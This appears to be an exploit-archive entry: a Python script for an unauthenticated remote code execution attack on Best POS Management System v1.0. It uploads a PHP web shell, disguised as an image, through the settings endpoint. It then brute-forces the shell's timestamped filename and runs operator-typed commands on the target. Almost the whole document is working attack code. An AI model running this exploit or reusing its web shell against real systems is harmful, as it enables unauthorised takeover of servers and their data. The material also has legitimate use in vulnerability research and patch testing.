Best POS Management System version 1.0 remote shell upload exploit. This is a variant exploit with the original discovery being attributed to Ahmed Ismail in February of 2023.
3074358cb31b2d86e231b6d456108ebd704d4d01aa067483b1f950c3bbe1d51e# Exploit Title: Best POS Management System v1.0 - Unauthenticated Remote Code Execution
# Google Dork: NA
# Date: 15/5/2023
# Exploit Author: Mesut Cetin
# Vendor Homepage: https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/kruxton.zip
# Version: 1.0
# Tested on: Kali Linux
import sys
import requests
import subprocess
import time
if len(sys.argv) < 2:
print("\033[91mUsage: %s <IP>\033[0m" % sys.argv[0])
print("Example: %s 192.168.106.130" % sys.argv[0])
sys.exit(1)
ip = sys.argv[1]
url = f"http://{ip}/kruxton/ajax.php?action=save_settings"
def brute_force_timestamp(timestamp_prev, ip):
progress = 0
webshell = None
for i in range(20):
for j in range(0, 1000, 20):
timestamp = timestamp_prev - (timestamp_prev % 1000) + j + i
url = f"http://{ip}/kruxton/assets/uploads/{timestamp}_shell.php"
response = requests.get(url)
if response.status_code == 200:
webshell = url
break
progress += 1
print(f"Attempt {progress}/400", end="\r")
time.sleep(0.1)
if progress >= 400:
break
if webshell or progress >= 400:
break
if webshell:
print("\033[92m[+] Webshell found:", webshell, "\033[0m")
else:
print("\033[91m[-] Webshell not found\033[0m")
return webshell
def get_unix_timestamp():
timestamp = subprocess.check_output(['date', '+%s']).decode().strip()
return int(timestamp)
def extract_output(response_text):
start_tag = "<pre>"
end_tag = "</pre>"
start_index = response_text.find(start_tag)
end_index = response_text.find(end_tag)
if start_index != -1 and end_index != -1 and start_index < end_index:
output = response_text[start_index + len(start_tag):end_index]
return output.strip()
return None
def code_execution(webshell):
if not webshell:
print("\033[91mWebshell URI not provided\033[0m")
return
while True:
command = input("Enter command to execute (or 'exit' to quit): ")
if command == 'exit':
break
url = webshell + f"?cmd={command}"
response = requests.get(url)
output = extract_output(response.text)
if output:
print("\033[93m[+] Output:\033[0m")
print(output)
else:
print("\033[91m[-] No output received\033[0m")
data = '''\
-----------------------------49858899034227071432271107689
Content-Disposition: form-data; name="name"
test
-----------------------------49858899034227071432271107689
Content-Disposition: form-data; name="email"
test@gmail.com
-----------------------------49858899034227071432271107689
Content-Disposition: form-data; name="contact"
9000000000
-----------------------------49858899034227071432271107689
Content-Disposition: form-data; name="about"
test
-----------------------------49858899034227071432271107689
Content-Disposition: form-data; name="img"; filename="shell.php"
Content-Type: application/x-php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
-----------------------------49858899034227071432271107689--'''
headers = {
'Host': f"{ip}",
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'multipart/form-data; boundary=---------------------------49858899034227071432271107689',
'Content-Length': str(len(data)),
'Connection': 'close'
}
timestamp_prev = get_unix_timestamp()
response = requests.post(url, data=data, headers=headers)
if response.status_code == 200 and response.text == '1':
print("[+] Timestamp: %s" % timestamp_prev)
print("\033[92m[+] Successly uploaded shell! Unauthenticated! \033[0m")
webshell = brute_force_timestamp(timestamp_prev, ip)
code_execution(webshell)
else:
print("Did not worked")
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